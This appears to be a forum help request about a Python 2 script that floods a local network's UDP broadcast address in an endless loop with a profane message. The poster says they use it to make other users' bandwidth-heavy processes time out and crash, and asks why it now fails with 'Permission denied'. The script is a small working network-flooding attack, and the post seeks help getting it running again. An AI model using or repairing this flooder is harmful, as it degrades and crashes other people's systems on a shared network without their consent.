I have this script. I use it not to annoy but to make abusive processes (run by users with few-to-not-at-all consideration to the rest of the users) to timeout and eventually crash in my own network, so the bandwidth is not eaten.
#!/usr/bin/python
import socket
MSG = "Suck my ****s!! " * 1024
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
count = 0
while True:
print "Punch! %d" % count
count += 1
if count == 256:
count = 0
sock.sendto(MSG, ("192.168.255.255", 4321))
And it worked for months. Almost 1 year I'd say.
However, now I get an error like this:
Punch! 0
Traceback (most recent call last):
File "Escritorio/punch.py", line 14, in <module>
sock.sendto(MSG, ("192.168.255.255", 4321))
socket.error: [Errno 13] Permission denied
(Where the "Punch! 0" is an expected output)
My OS is Ubuntu 12.04, with Python 2.7.3.
What should I check? Even running the script as sudo produces such error.